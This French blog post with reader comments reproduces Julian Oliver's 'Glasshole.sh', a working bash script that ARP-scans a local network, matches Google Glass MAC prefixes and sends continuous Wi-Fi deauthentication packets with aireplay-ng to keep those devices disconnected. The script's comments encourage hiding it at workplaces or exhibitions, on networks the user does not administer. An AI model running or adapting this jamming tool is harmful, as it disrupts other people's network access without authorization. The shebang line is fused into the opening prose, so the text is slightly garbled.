#!/bin/bashA tous ceux qui détestent les Google Glass parce qu'on ne sait jamais si celui qui les porte est en train de vous photographier ou vous filmer, Julian Oliver a une solution pour entrer en résistance.
Il a mis au point un script baptisé Glasshole.sh capable de détecter la présence de Google Glass sur un réseau local (même si vous n'êtes pas admin de ce réseau) et de les bannir définitivement. Le script fait un scan ARP sur le réseau, récupère les adresses MAC des machines, détectent celles qui appartiennent aux Google Glass, fait un biiiiip, puis force la déconnexion des Google Glass grâce à aireplay-ng qui lance des paquets de désauthentification. Ensuite, ça tourne en permanence pour les empêcher de se reconnecter.
#
# GLASSHOLE.SH
#
# Find and kick Google Glass devices from your local wireless network. Requires
# 'beep', 'arp-scan', 'aircrack-ng' and a GNU/Linux host. Put on a BeagleBone
# black or Raspberry Pi. Plug in a good USB wireless NIC (like the TL-WN722N)
# and wear it, hide it in your workplace or your exhibition.
#
# Save as glasshole.sh, 'chmod +x glasshole.sh' and exec as follows:
#
# sudo ./glasshole.sh <WIRELESS NIC> <BSSID OF ACCESS POINT>
shopt -s nocasematch # Set shell to ignore case
NIC=$1 # Your wireless NIC
BSSID=$2 # Network BSSID (exhibition, workplace, park)
MAC=$(/sbin/ifconfig | grep $NIC | head -n 1 | awk '{ print $5 }')
GGMAC='F8:8F:CA:24' # May change as new editions of Google Glass are released
POLL=30 # Check every 30 seconds
airmon-ng stop mon0 # Pull down any lingering monitor devices
airmon-ng start $NIC # Start a monitor device
echo '
___ _ __ __ __ __ __
/ _ \___ ___ ( ) /_ / / ___ ___ _ ___ _/ /__ ____ ___ / / ___ / /__
/ // / _ \/ _ \|/ __/ / _ \/ -_) / _ `/ / _ `/ / _ `(_-<(_-</ _ \/ _ \/ / -_)
/____/\___/_//_/ \__/ /_.__/\__/ \_,_/ \_, /_/\_,_/___/___/_//_/\___/_/\__/
/___/
'
while true;
do
for TARGET in $(arp-scan -I $NIC --localnet | grep -o -E \
'([[:xdigit:]]{1,2}{5}[[:xdigit:]]{1,2}')
do
if [[ $TARGET == *$GGMAC* ]]
then
# Audio alert
beep -f 1000 -l 500 -n 200 -r 2
echo "Glasshole discovered: "$TARGET
echo "De-authing..."
aireplay-ng -0 1 -a $BSSID -c $TARGET mon0
else
echo $TARGET": is not a Google Glass. Leaving alone.."
fi
done
echo "None found this round."
sleep $POLL
done
airmon-ng stop mon0
@KorbenBon évidemment, si le porteur des lunettes connectées passe via sa connexion 4G, ça ne servira à rien.
Vous trouverez le script ici.
hum, être déconnecter d'un réseau n'empêche pas qu'il puisse photographier :/ ça n'a rien à voir.
NVIDIA SURROUND, TRIPLE SCREEN, 3X Samsung T190
Faut installer des zones où les google glass sont interdit comme pour les zones non fumeur parcequ'il faut reconnaitre que ces lulu sont très intrusives !![]()
MacBook Pro 15"
Effectivement, ça n'empêche pas les photos ce script mais ça permet de détecter leur présence grâce à leur adresse MAC.
Liens annexes